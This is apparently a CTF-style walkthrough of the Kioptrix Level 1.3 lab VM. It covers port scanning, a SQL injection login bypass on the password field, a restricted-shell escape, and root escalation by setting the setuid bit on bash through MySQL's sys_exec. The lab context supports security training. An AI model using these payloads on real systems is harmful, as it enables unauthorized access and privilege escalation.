search

Level 1.3

Kioptrix Level 1.3 (#4) Walkthrough

hashtag
Enumeration

hashtag
Nmap

Scanning the machine's open ports

nmap -sC -sV -oA nmap/Level4 192.168.43.242
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-12 04:21 EDT
Nmap scan report for 192.168.43.242
Host is up (0.00031s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:1C:64:47 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m02s, deviation: 2h49m43s, median: 1s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2020-05-12T04:21:17-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.63 seconds

hashtag
Dirb

What caught my eye was the /john page.

hashtag
Enum4linux

from enum4linux, we know that there are 3 users available inside that machine

hashtag
Exploit

We navigate to the page and saw this

I tried some SQL Injection and realized that only Password form is vulnerable.

So, from what username list I got from enum4linux, robert, john and loneferret, maybe we can get their password to login into their user account.

SQL injection that I've used at password form is admin'or 1=1 or ''='

robert's and john's credentials are below:

Meanwhile loneferret return this:

After this, we can try to ssh to both user and find what interesting inside

After got into robert account and I found out that if we navigate to the home and it does not let you to do so, after 2 times navigate to any directories, I got warnings and kicked out

As we can see only few commands are available for us

We are actually inside a restrictive shell, if we want to escape this restrictive shell, we need to type

echo os.system('/bin/bash')

After that, we got a proper shell and it is ready to escalate the privilege.

hashtag
Privilege Escalation

I wander around and found something interesting

ps aux | grep root and I found something interesting

We know that mysql is running as root, so maybe this is the way to let us in.

and I also found out that in /var/www, checklogin.php, root has no password, so we can login directly without password

We logged into root

After surfing some websites on Google, I came across this website where it teaches how to exploit MySQL

https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/www.adampalmer.mechevron-right

With the guidance, we can type

mysql

use sql

SELECT sys_exec('chmod +s /bin/bash');

The exit the mysql shell

and type bash -p

and you will get root!

Congratulation!

PreviousLevel 1.2NextLevel 1.4

Last updated